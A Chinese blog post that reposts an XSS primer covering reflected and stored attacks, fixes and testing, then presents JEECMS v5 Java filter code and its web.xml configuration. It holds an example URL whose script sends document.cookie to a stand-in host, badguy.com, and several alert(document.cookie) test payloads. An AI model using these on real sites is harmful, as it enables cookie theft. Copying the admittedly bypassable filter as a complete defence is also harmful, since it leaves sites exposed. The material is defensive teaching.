`
longgangbai
  • 浏览: 7344202 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

jeecms v5 防止xss攻击以及问题

阅读更多

xss攻击百科:

http://baike.baidu.com/link?url=XugA9miyG8o4Ui5pRvR_TmXsZP5z8KaGKt65UYmetHOKK13U68du8r0qWDwBOTT3pFi9qPlS5QUZsNAXdhT3aq

 

什么是xss攻击:

         XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.  比如获取用户的Cookie,导航到恶意网站,携带木马等。

作为测试人员,需要了解XSS的原理,攻击场景,如何修复。 才能有效的防止XSS的发生。

 

阅读目录

  1. XSS 是如何发生的
  2. HTML Encode
  3. XSS 攻击场景
  4. XSS漏洞的修复
  5. 如何测试XSS漏洞
  6. HTML Encode 和URL Encode的区别
  7. 浏览器中的XSS过滤器
  8. ASP.NET中的XSS安全机制

XSS 是如何发生的呢

假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

 

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力,取决于用户输入了什么样的脚本

 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

 

HTML Encode

XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。

在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

 

XSS 攻击场景

1. Dom-Based XSS 漏洞 攻击过程如下

Tom 发现了Victim.com中的一个页面有XSS漏洞,

例如: http://victim.com/search.asp?term=apple

服务器中Search.asp 页面的代码大概如下

复制代码
<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>
复制代码

Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.

 

2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下

Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,

Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。

其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。

 

Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

 

XSS 漏洞修复

原则: 不相信客户输入的数据
注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

如何测试XSS漏洞

方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量

<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

 

 方法二: 准备测试脚本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

 在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞

 在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

 

方法三:  自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。 

HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。

例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

 

所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+

 

在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

 

 如果需要做测试, 最好使用IE7。

 ASP.NET中的XSS安全机制

 ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。

如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false"  %>

转载自:

http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

 

 

         在jeecms中为了防止xss攻击做了简单的处理,但是让然可以攻击,我们就只说说防止的原理吧。

防止的原理就是通过将用户提交的信息通过特殊处理进行转义。只可以显示不可以运行操作。

 

针对httprequest的请求处理类:

package com.jeecms.common.web;

import static com.jeecms.common.web.Constants.UTF8;

import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;


/**
 * @author Tom
 */
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
	private String[]filterChars;
	private String[]replaceChars;
	public XssHttpServletRequestWrapper(HttpServletRequest request,String filterChar,String replaceChar,String splitChar) {
		super(request);
		if(filterChar!=null&&filterChar.length()>0){
			filterChars=filterChar.split(splitChar);
		}
		if(replaceChar!=null&&replaceChar.length()>0){
			replaceChars=replaceChar.split(splitChar);
		}
	}
	public String getQueryString() {
		String value = super.getQueryString();
		if (value != null) {
			value = xssEncode(value);
		}
		return value;
	}
	
	/**
	 * 覆盖getParameter方法,将参数名和参数值都做xss过滤。<br/>
	 * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取<br/>
	 * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
	 */
	public String getParameter(String name) {
		String value = super.getParameter(xssEncode(name));
		if (value != null) {
			value = xssEncode(value);
		}
		return value;
	}
	
	public String[] getParameterValues(String name) {
		String[]parameters=super.getParameterValues(name);
		if (parameters==null||parameters.length == 0) {
			return null;
		}
		for (int i = 0; i < parameters.length; i++) {
			parameters[i] = xssEncode(parameters[i]);
		}
		return parameters;
	}
	
	/**
	 * 覆盖getHeader方法,将参数名和参数值都做xss过滤。<br/>
	 * 如果需要获得原始的值,则通过super.getHeaders(name)来获取<br/> getHeaderNames 也可能需要覆盖
	 */
	public String getHeader(String name) {

		String value = super.getHeader(xssEncode(name));
		if (value != null) {
			value = xssEncode(value);
		}
		return value;
	}
	
	/**
	 * 将容易引起xss漏洞的半角字符直接替换成全角字符
	 * 
	 * @param s
	 * @return
	 */
	private  String xssEncode(String s) {
		if (s == null || s.equals("")) {
			return s;
		}
		try {
			s = URLDecoder.decode(s, UTF8);
		} catch (UnsupportedEncodingException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		for (int i = 0; i < filterChars.length; i++) {
			if(s.contains(filterChars[i])){
				s=s.replace(filterChars[i], replaceChars[i]);
			}
		}
		return s;
	}
}

 

 

过滤器的使用:

package com.jeecms.common.web;

/**
 * @author Tom
 */
import java.io.IOException;

import javax.servlet.Filter;

import javax.servlet.FilterChain;

import javax.servlet.FilterConfig;

import javax.servlet.ServletException;

import javax.servlet.ServletRequest;

import javax.servlet.ServletResponse;

import javax.servlet.http.HttpServletRequest;

public class XssFilter implements Filter {
	private String filterChar;
	private String replaceChar;
	private String splitChar;
	FilterConfig filterConfig = null;
	public void init(FilterConfig filterConfig) throws ServletException {
		this.filterChar=filterConfig.getInitParameter("FilterChar");
		this.replaceChar=filterConfig.getInitParameter("ReplaceChar");
		this.splitChar=filterConfig.getInitParameter("SplitChar");
		this.filterConfig = filterConfig;
	}

	public void destroy() {
		this.filterConfig = null;
	}

	public void doFilter(ServletRequest request, ServletResponse response,

	FilterChain chain) throws IOException, ServletException {
		chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request,filterChar,replaceChar,splitChar), response);
	}

}

 

web.xml配置:

	<filter>
		<filter-name>XssFilter</filter-name>
		<filter-class>com.jeecms.common.web.XssFilter</filter-class>
    	<init-param>
			<param-name>SplitChar</param-name>
			<param-value>@</param-value>
    	</init-param>
    	<init-param>
			<param-name>FilterChar</param-name>
			<param-value>'@"@\@#@:@%@></param-value>
    	</init-param>
		<init-param>
			<param-name>ReplaceChar</param-name>
			<param-value>\'@\"@\@#@:@\\%@></param-value>
    	</init-param>
	</filter>
	<filter-mapping>
		<filter-name>XssFilter</filter-name>
		<url-pattern>*.jspx</url-pattern>
	</filter-mapping>

 

分享到:
评论

相关推荐

    jeecms9.2-adminVue

    - **安全防护**:集成多种安全机制,如防止SQL注入、XSS攻击等,确保网站数据安全。 2. **新功能与改进** - **性能优化**:9.2版本对系统的性能进行了深度优化,提高了页面加载速度和响应时间。 - **增强的权限...

    jeecms文档

    安全方面,Jeecms内置了一些安全机制,如防止SQL注入、XSS攻击等。然而,二次开发时,开发者需要确保新增功能不会引入新的安全风险。因此,了解基本的安全编程原则和最佳实践,以及如何利用Jeecms提供的安全组件,是...

    jeecms-2012.rar

    5. **安全机制**:分析系统中的登录认证、权限控制等模块,了解如何防止SQL注入、XSS攻击等常见的网络安全问题。 6. **集成框架**:如果Jeecms使用了Spring、Struts或MyBatis等框架,那么理解这些框架的工作原理和...

    jeecms 源码包

    5. 安全机制:了解Jeecms的安全策略,如防止SQL注入、XSS攻击等。 6. 自定义扩展:研究插件机制,学习如何开发自己的功能模块。 四、二次开发与实践 1. 功能扩展:根据业务需求,添加新的功能或修改已有功能。 2. ...

    JEECMS2.0版本源码阅读

    JEECMS2.0 版本源码阅读笔记 JEECMS 作为一个基于 Java 的内容管理系统,具有强大的功能和灵活的架构。阅读 JEECMS 的源码,可以了解到其内部的实现机制和设计理念。在本文中,我们将对 JEECMS 2.0 版本的源码进行...

    jeecms9.2源代码文件

    jeecms9.2源代码文件 环境软件可以从以下网址中获得 Jdk 7.0 下载址: http://java.sun.com/javase/downloads/index.jsp Tomcat7 下载地址:https://tomcat.apache.org/download-70.cgi MySQL 5.0.22 下载地址:...

    jeecms-src.zip_jeecms_安全管理 Java

    3. **XSS防护**:通过输出内容的编码和过滤,Jeecms防止跨站脚本(XSS)攻击,保护用户免受恶意代码的侵害。 4. **CSRF防护**:利用令牌(Token)机制,Jeecms防止跨站请求伪造(CSRF)攻击,确保用户操作的合法性...

    jeecms v8.1 源码

    JEECMSv8.1是一款支持微信小程序、栏目模型、内容模型交叉自定义、以及具备支付和财务结算的内容电商为一体内容管理系统:通过后台的简单设置即可自定义出集新闻管理、图库管理、视频管理、下载系统、文库管理、政务...

    jeecms,很好用的CMS系统

    - **安全性**:Jeecms注重安全,提供多种防护机制,防止SQL注入、XSS攻击等。 - **扩展性**:通过插件机制,用户可以轻松添加自定义功能,满足个性化需求。 2. **Jeecms-3.0.4-final版本**: - 这个版本可能是...

    JeeCMS 2012 源码包

    摘要:JSP源码,CMS系统,JeeCMS  jeecms v2012版是一款集新闻管理、图库管理、视频管理、下载系统、作品管理、产品发布及留言板于一体的综合性CMS系统。  jeecms v2012版新增功能如下:  1、新增统计功能  1.1...

    JeeCms测试站点使用文档.zip

    为了保证系统的安全,JeeCMS提供了一些安全措施,如防止SQL注入、XSS攻击等。定期备份数据库和更新系统补丁也是维护工作的重要环节。 ### 9. 性能优化 对于大型网站,性能优化是必不可少的。JeeCMS支持缓存机制、...

    jeecms v6修改后台地址

    在这个场景中,我们需要了解如何修改Jeecms V6版本的后台访问路径,以提高系统的安全性和避免被恶意攻击者轻易猜到后台入口。 首先,后台访问路径的修改主要涉及到Web应用的配置文件,包括`web.xml`、`jeecms-...

    jeecms代码

    Jeecms在设计时考虑了安全因素,包括SQL注入防护、XSS攻击防御、登录验证码等,为网站的安全运行提供了保障。 7. **二次开发与扩展**: Jeecms提供了丰富的API和插件机制,便于开发者进行二次开发和功能扩展。...

    jeecms微信小程序 v1.0.1

    7. **安全防护**:Jeecms本身具有一定的安全防护机制,如防止SQL注入、XSS攻击等,确保小程序运行的安全性。 在提供的文件列表中,"说明.htm"可能是对Jeecms微信小程序的详细使用指南,包括安装步骤、配置方法以及...

    jeecms 3.0

    作为一个专业的IT大师,我将深入解析Jeecms 3.0的关键特性、改进点以及它在实际应用中的优势。 首先,Jeecms 3.0的核心升级在于增强了内容管理的灵活性。系统提供了更加丰富的模板引擎,使得网站设计者能够更加自由...

    [CMS程序]JEECMS 2.4.2 系统程序.zip

    7. 安全性:源码中应包含了防止SQL注入、XSS攻击等安全措施,这对于理解Web应用的安全性至关重要。 8. 数据备份与恢复:CMS系统通常会提供数据备份和恢复功能,确保数据安全。 通过深入学习JEECMS 2.4.2的源码,...

    jeecms X1.0.1 正式版 源码包

    在二次开发方面,jeecmsV6支持元件式无限插件扩展方式,开发者根据jeecms的插件开发标准所开发出来的插件,插件与jeecms是平行的,无论是插件升级还是jeecms系统升级,都可以实现独立升级,插件与插件、插件与jeecms...

    jeecmsv5 eclipse

    JeecmsV5是一款基于Java技术的企业级内容管理系统,它专为中大型网站设计,具有高效、稳定、易用的特点。这款系统集成了强大的内容管理功能,包括文章、图片、下载等多种类型的资源管理,同时也提供了丰富的模板引擎...

    JEECMS

    **JEECMS详解** JEECMS,全称为Java Enterprise Edition Content Management System,是一款基于Java EE技术的开源内容管理系统。作为企业级的CMS解决方案,它具备高效、安全、易用、可扩展性强等特性,广泛应用于...

Global site tag (gtag.js) - Google Analytics